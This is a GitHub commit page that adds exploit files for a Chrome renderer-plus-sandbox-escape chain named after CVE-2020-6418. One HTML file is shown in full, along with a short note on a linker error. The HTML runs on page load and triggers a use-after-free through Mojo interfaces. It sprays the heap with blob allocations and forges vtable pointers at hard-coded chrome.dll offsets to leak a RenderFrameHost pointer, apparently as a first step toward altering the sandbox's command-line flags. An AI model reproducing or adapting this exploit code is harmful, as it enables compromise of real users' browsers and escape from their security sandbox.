-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Your Name
committed
Oct 4, 2024
1 parent
471e800
commit 6c198dd
Showing
16 changed files
with
3,271 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
unresolved external symbol _guard_check_icall_$fo$ | ||
|
||
https://github.com/pocoproject/poco/issues/4606 | ||
https://github.com/pocoproject/poco/discussions/4694 | ||
https://forum.gamemaker.io/index.php?threads/solution-yyc-build-linker-error-unresolved-external-symbol-_guard_check_icall_-fo.115387/ | ||
basically, sometimes if you windows SDK is too new, got problem, so downgrade | ||
am sure if its too old, also got problem, so upgrade | ||
|
||
|
||
https://groups.google.com/a/chromium.org/g/chromium-dev/c/Y7zFN11lxV8 | ||
https://issues.chromium.org/issues/40274505 | ||
|
||
just run the commands hinted lmao |
Large diffs are not rendered by default.
Oops, something went wrong.
373 changes: 373 additions & 0 deletions
373
CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/arbitrary_call.html
Large diffs are not rendered by default.
Oops, something went wrong.
373 changes: 373 additions & 0 deletions
373
CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/arbitrary_call_rnd.html
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,254 @@ | ||
<html> | ||
<head> | ||
<script src="/mojo/public/js/mojo_bindings.js"></script> | ||
<script src="/third_party/blink/public/mojom/installedapp/installed_app_provider.mojom.js"></script> | ||
<script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | ||
<script src="/url/mojom/url.mojom.js"></script> | ||
<script> | ||
function print(str) { | ||
console.log(str); | ||
var log = document.getElementById('log'); | ||
if (log) { | ||
log.innerText += str + '\n'; | ||
} | ||
} | ||
|
||
function sleep(ms) { | ||
return new Promise(resolve => setTimeout(resolve, ms)); | ||
} | ||
|
||
function allocateRFH(src) { | ||
var iframe = document.createElement("iframe"); | ||
iframe.src = src; | ||
document.body.appendChild(iframe); | ||
return iframe; | ||
} | ||
|
||
function freeRFH(iframe) { | ||
document.body.removeChild(iframe); | ||
} | ||
|
||
var kPwnInterfaceName = "pwn"; | ||
function sendPtr() { | ||
var pipe = Mojo.createMessagePipe(); | ||
// bind the InstalledAppProvider with the child rfh | ||
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name, | ||
pipe.handle1, "context", true); | ||
// pass the endpoint handle to the parent rfh | ||
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process"); | ||
} | ||
|
||
function getFreedPtr() { | ||
return new Promise(function (resolve, reject) { | ||
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash | ||
// intercept bindInterface calls for this process to accept the handle from the child | ||
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process"); | ||
interceptor.oninterfacerequest = function(e) { | ||
interceptor.stop(); | ||
// bind the remote | ||
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle); | ||
freeRFH(frame); | ||
resolve(provider_ptr); | ||
} | ||
interceptor.start(); | ||
}); | ||
} | ||
|
||
function getAllocationConstructor() { | ||
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | ||
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | ||
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | ||
|
||
function Allocation(size=280) { | ||
function ProgressClient(allocate) { | ||
function ProgressClientImpl() { | ||
} | ||
ProgressClientImpl.prototype = { | ||
onProgress: async (arg0) => { | ||
if (this.allocate.writePromise) { | ||
this.allocate.writePromise.resolve(arg0); | ||
} | ||
} | ||
}; | ||
this.allocate = allocate; | ||
|
||
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | ||
var progress_client_req = mojo.makeRequest(this.ptr); | ||
this.binding = new mojo.AssociatedBinding( | ||
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req | ||
); | ||
|
||
return this; | ||
} | ||
|
||
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | ||
this.progressClient = new ProgressClient(this); | ||
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => { | ||
this.serialized_blob = res.blob; | ||
}) | ||
|
||
this.malloc = async function(data) { | ||
promise = new Promise((resolve, reject) => { | ||
this.writePromise = {resolve: resolve, reject: reject}; | ||
}); | ||
this.pipe.producer.writeData(data); | ||
this.pipe.producer.close(); | ||
written = await promise; | ||
console.assert(written == data.byteLength); | ||
} | ||
|
||
this.free = async function() { | ||
this.serialized_blob.blob.ptr.reset(); | ||
await sleep(1000); | ||
} | ||
|
||
this.read = function(offset, length) { | ||
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | ||
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | ||
return new Promise((resolve) => { | ||
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | ||
result = new ArrayBuffer(length); | ||
this.readpipe.consumer.readData(result); | ||
this.watcher.cancel(); | ||
resolve(result); | ||
}); | ||
}); | ||
} | ||
|
||
this.readQword = async function(offset) { | ||
let res = await this.read(offset, 8); | ||
return (new DataView(res)).getBigUint64(0, true); | ||
} | ||
|
||
return this; | ||
} | ||
|
||
async function allocate(data) { | ||
let allocation = new Allocation(data.byteLength); | ||
await allocation.malloc(data); | ||
return allocation; | ||
} | ||
return allocate; | ||
} | ||
|
||
async function trigger() { | ||
|
||
if (window.location.hash == "#child") { | ||
sendPtr(); | ||
return; | ||
} | ||
|
||
/* | ||
PUT RESOURCES HERE | ||
*/ | ||
|
||
let allocate = getAllocationConstructor(); | ||
const kChromeDllBase = 0x00007ff96e450000n; // need to keep changing shag ballz | ||
const kRenderFrameHostSize = 0xc38; | ||
const kSprayAllocationCount = 0x8; | ||
|
||
const kFirstCallVtableOffset = 0x48; // ->GetProcess() | ||
const kSecondCallVtableOffset = 0xd0; // ->GetProcess()->GetBroweserContext() | ||
const kThirdCallVtableOffset = 0x18; // ->GetProcess()->GetBroweserContext()->IsOffTheRecord() | ||
const kWakeLockContextOffset = 0x650; // this is where the leak will be stored at | ||
|
||
const kFirstFakeVtablePtr = kChromeDllBase + 0x06230450n | ||
const kFirstFakeVtableOffset = 0x8 | ||
const kSecondFakeVtablePtr = kChromeDllBase + 0x06230450n | ||
const kSecondFakeVtableOffset = 0x8 | ||
|
||
const kGetWakeLockContext = kChromeDllBase + 0x004d6cc8n | ||
const kWebContentsImplVtableGetWakeLockContextPtr = kChromeDllBase + 0x064d3af8n | ||
|
||
const kDictionaryStart = kChromeDllBase + 0x024e938en | ||
const kPieceWiseConstructWhereDictionaryStart = kChromeDllBase + 0x0677ca48n | ||
|
||
const kCurrentProcessCommandline = kChromeDllBase + 0x07279608n; | ||
const kSetCommandLineFlagsForSandboxType = kChromeDllBase + 0x0011bfd0n; | ||
|
||
async function triggerUAF(ptr) { | ||
await ptr.filterInstalledApps([], new url.mojom.Url({url: window.location.href})); | ||
print("\t[+] UAF triggered"); | ||
} | ||
|
||
function spray(data, num=kSprayAllocationCount) { | ||
print("\t[+] Spraying..."); | ||
return Promise.all(Array(num).fill().map(() => allocate(data))); | ||
} | ||
|
||
async function leakPointerToRenderFrameHost() { | ||
while (true) { | ||
let data = new ArrayBuffer(kRenderFrameHostSize); | ||
let view = new DataView(data); | ||
for (let i = 0; i < kRenderFrameHostSize; i++) { | ||
view.setUint8(i, 0x0); | ||
} | ||
offset = 0; | ||
view.setBigUint64(offset, kFirstFakeVtablePtr - BigInt(kFirstCallVtableOffset), true); | ||
offset += kFirstFakeVtableOffset; | ||
view.setBigUint64(offset, kSecondFakeVtablePtr - BigInt(kSecondCallVtableOffset), true); | ||
offset += kSecondFakeVtableOffset; | ||
view.setBigUint64(offset, kWebContentsImplVtableGetWakeLockContextPtr - BigInt(kThirdCallVtableOffset), true); | ||
// view.setBigUint64(offset + kThirdCallVtableOffset, 0x4141414141414141n, true); // this seems... useless? | ||
offset += kWakeLockContextOffset; | ||
let ptr = await getFreedPtr(); | ||
let heap = await spray(data); | ||
await triggerUAF(ptr); | ||
|
||
results = await Promise.all(heap.map((a) => a.readQword(offset))); // this should always be 8 cause we sprayed 8 chunks | ||
let allocation; | ||
let wakeLockContextAddr; | ||
for (var i = 0; i < results.length; i++) { | ||
if (results[i] != 0) { | ||
wakeLockContextAddr = results[i]; | ||
allocation = heap[i]; | ||
print("\t[*] Allocation Index with heap leak value: " + i); | ||
print("\t[*] Heap leak value: " + wakeLockContextAddr.toString(16)); // at +0x650h, we should be able to get the leak... somehow... | ||
} | ||
} | ||
if (wakeLockContextAddr == undefined) { | ||
print("\t[!] Cannot find heap leak, try again..."); | ||
continue | ||
} | ||
|
||
data = new ArrayBuffer(kRenderFrameHostSize); | ||
view = new DataView(data); | ||
offset = 0; | ||
view.setBigUint64(offset, kFirstFakeVtablePtr - BigInt(kFirstCallVtableOffset), true); | ||
offset += kFirstFakeVtableOffset; | ||
view.setBigUint64(offset, kSecondFakeVtablePtr - BigInt(kSecondCallVtableOffset), true); | ||
offset += kSecondFakeVtableOffset; | ||
view.setBigUint64(offset, kPieceWiseConstructWhereDictionaryStart - BigInt(kThirdCallVtableOffset), true); | ||
view.setBigUint64(offset+0x20, wakeLockContextAddr-0x20n, true); | ||
offset += kWakeLockContextOffset; | ||
let second_ptr = await getFreedPtr(); | ||
let second_heap = await spray(data); | ||
await triggerUAF(second_ptr); | ||
offset = 0x28; | ||
results = await Promise.all(second_heap.map((a) => a.readQword(offset))); | ||
let bufLeak = undefined; | ||
for (var i = 0; i < results.length; i++) { | ||
if (results[i] != 0) { | ||
bufLeak = results[i]; | ||
} | ||
} | ||
if (bufLeak == undefined) { | ||
print("\t[!] stage2 failed.. retrying"); | ||
continue; | ||
} | ||
print("\t[+] This should be the pointer to our render_frame_host_: " + bufLeak.toString(16)); | ||
return [allocation, bufLeak - BigInt(offset)]; | ||
break; | ||
} | ||
} | ||
|
||
print("SBX Stage 1 Heap Leak...") | ||
const [allocation, renderFrameHostPtr] = await leakPointerToRenderFrameHost(); // we need this cause we want to copy the current_process_command_line_ | ||
|
||
} | ||
</script> | ||
</head> | ||
<body onload="trigger()"></body> | ||
<pre id="log"></pre> | ||
</html> | ||
|
Binary file not shown.
Oops, something went wrong.